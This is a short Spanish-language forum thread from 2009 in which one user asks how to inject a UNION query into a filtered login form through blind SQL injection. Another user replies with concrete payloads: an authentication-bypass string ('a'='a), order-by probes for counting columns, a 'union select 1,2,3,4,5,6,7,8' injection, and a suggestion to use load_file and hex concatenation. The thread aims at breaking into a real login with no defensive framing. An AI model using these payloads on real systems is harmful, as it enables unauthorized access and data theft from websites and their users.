UNION en BLIND SQL Injection

Iniciado por macanito, 3 Agosto 2009, 02:25 AM

0 Miembros y 1 Visitante están viendo este tema.

macanito

Tenemos una consulta de la forma:
select a,b,c from tabla where user=[$user] and pass=md5([$pass])

Se tiene el parámetro inyectable "user" y conocemos el nombre de un user válido.
De forma que la respuesta TRUE de la consulta sería loguearse con ese user y la respuesta FALSE sería no loguearse.
Ej. user='[user_conocido' or 'a'='a]' (lo que va entre corchetes es la inyección, que provoca que nos logueemos)

Ahora, mi pregunta es: ¿cómo se podría inyectar una sentencia UNION teniendo en cuenta que el sistema filtra cualquier carácter de comentario (también en hexadecimal) y funciones como char(), por lo que se tiene que mantener la sintaxis del "and pass=..."?

Es decir, algo como: user='[user_conocido' union or 'a'='a]'
Recuerdo que es BLIND SQL Injection

Gracias de antemano

WHK

Pruebas con
user='[user_conocido' order by '10]' = da error
user='[user_conocido' order by '9]' = da error
user='[user_conocido' order by '8]' = no da error
ya con eso le haces el union select
user='[0' union select 1,2,3,4,5,6,7,'8]'

además hay varias funciones que no requieren pasar a hexadecimal, por ejemplo load_file o usa concat con valores dword 0x000000000...

macanito

Gracias por responder.

Pero al hacer como dices, al concatenarse con la parte del pass la consulta quedaría así:

user='[user_conocido' order by 10']' and pass='md5'

que siempre me loguea sin depender del número que ponga (no me da nunca error, no sé por qué...)

o

user='[user_conocido' union select 1,2,...,'8]' and pass='md5'

que daría un error de sintaxis (esto no he podido probarlo pero lo supongo. La anterior ya la había probado anteriormente)

Habría que terminar con un where o algo así, para mantener la sintaxis...
Todo esto sin conocer los nombres de las tablas...